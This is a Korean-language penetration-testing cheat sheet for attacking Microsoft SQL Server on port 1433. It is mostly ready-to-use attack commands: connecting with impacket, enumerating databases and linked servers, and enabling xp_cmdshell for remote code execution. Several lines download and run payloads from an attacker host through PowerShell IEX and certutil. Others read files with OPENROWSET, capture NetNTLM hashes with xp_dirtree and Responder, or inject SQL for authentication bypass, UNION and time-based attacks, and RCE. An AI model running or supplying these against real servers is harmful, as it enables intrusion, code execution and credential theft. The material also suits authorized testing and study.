MSSQL - 1433 (Microsoft SQL Server)
Microsoft SQL Server 연결 및 공격 기법 모음입니다.
연결 방법
sqlcmd (Windows 네이티브)
sqlcmd -S <RHOST> -U <USERNAME> -P '<PASSWORD>'
sqlcmd -S <RHOST> -U <USERNAME> -P '<PASSWORD>' -d <DATABASE>
impacket-mssqlclient
# 기본 연결
impacket-mssqlclient <USERNAME>@<RHOST>
impacket-mssqlclient <USERNAME>:<PASSWORD>@<RHOST>
# Windows 인증
impacket-mssqlclient <USERNAME>@<RHOST> -windows-auth
impacket-mssqlclient <RHOST>/<USERNAME>:<USERNAME>@<RHOST> -windows-auth
# Kerberos 인증
impacket-mssqlclient -k -no-pass <RHOST>
Kerberos 티켓 사용
export KRB5CCNAME=<USERNAME>.ccache
impacket-mssqlclient -k <RHOST>.<DOMAIN>
impacket-mssqlclient 유용한 명령어
SQL> enum_logins # 로그인 계정 열거
SQL> enum_impersonate # 가장 가능한 계정 열거
기본 SQL 명령어
버전 및 정보 확인
SELECT @@version;
SELECT SYSTEM_USER;
SELECT USER_NAME();
SELECT DB_NAME();
데이터베이스 열거
SELECT name FROM sys.databases;
SELECT name FROM master.sys.databases;
테이블 열거
SELECT * FROM <DATABASE>.information_schema.tables;
SELECT name FROM <DATABASE>.sys.tables;
데이터 조회
SELECT * FROM <DATABASE>.dbo.users;
SELECT * FROM <DATABASE>.dbo.<TABLE>;
사용자 및 권한 확인
SELECT name,sysadmin FROM syslogins;
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
Linked SQL Server
링크 서버 열거
SELECT srvname,isremote FROM sysservers;
EXEC sp_linkedservers;
링크 서버를 통한 명령 실행
EXEC ('SELECT current_user') at [<DOMAIN>\\<CONFIG_FILE>];
EXEC ('SELECT srvname,isremote FROM sysservers') at [<DOMAIN>\\<CONFIG_FILE>];
EXEC ('EXEC (''SELECT suser_name()'') at [<DOMAIN>\\<CONFIG_FILE>]') at [<DOMAIN>\\<CONFIG_FILE>];
OPENQUERY
select * from openquery("web\\clients", 'select name from master.sys.databases');
select * from openquery("web\\clients", 'select name from clients.sys.objects');
xp_cmdshell (RCE)
활성화
방법 1
EXEC sp_configure 'Show Advanced Options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
방법 2
EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'Show Advanced Options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
방법 3 (impacket)
enable_xp_cmdshell
명령 실행
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'dir';
EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://<LHOST>/shell.ps1'')"';
xp_cmdshell whoami
SQL Injection을 통한 xp_cmdshell
'; EXEC master.dbo.xp_cmdshell 'ping <LHOST>'; --
'; EXEC master.dbo.xp_cmdshell 'certutil -urlcache -split -f http://<LHOST>/shell.exe C:\\Windows\\temp\\shell.exe'; --
'; EXEC master.dbo.xp_cmdshell 'cmd /c C:\\Windows\\temp\\shell.exe'; --
파일 읽기/쓰기
OPENROWSET으로 파일 읽기
SELECT * FROM OPENROWSET(BULK 'C:\\PATH\\TO\\FILE\\file.txt', SINGLE_CLOB) AS x;
SELECT * FROM OPENROWSET(BULK 'C:\\Windows\\System32\\drivers\\etc\\hosts', SINGLE_CLOB) AS x;
Binary 추출 (Base64)
select cast((select content from openquery([web\\clients], 'select * from clients.sys.assembly_files') where assembly_id = 65536) as varbinary(max)) for xml path(''), binary base64;
go > export.txt
NetNTLM Hash 탈취
xp_dirtree를 사용한 해시 캡처
EXEC master.dbo.xp_dirtree '\\<LHOST>\\share';
EXEC master.dbo.xp_dirtree '\\<LHOST>\\FOOBAR';
Responder로 해시 캡처:
sudo responder -I tun0
SQL Injection 예제
인증 우회
' or 1=1--
admin' or 1=1--
' or '1'='1'--
Time-Based Injection
' SELECT @@version; WAITFOR DELAY '00:00:10'; --
UNION 기반 Injection
' UNION SELECT null, @@version, null--
' UNION SELECT 1, database(), user()--
xp_cmdshell 활성화 (Injection)
' UNION SELECT 1, null; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
RCE (Injection)
' exec xp_cmdshell "powershell IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>/shell.ps1')" ;--
참고
- MSSQL은 기본적으로 1433 포트 사용
- xp_cmdshell은 보안상 기본적으로 비활성화
- sysadmin 권한이 있어야 xp_cmdshell 활성화 가능
- Linked Server를 통한 권한 상승 가능
- NetNTLM 해시 릴레이 공격에 취약
- Windows 인증 사용 시 도메인 자격증명 필요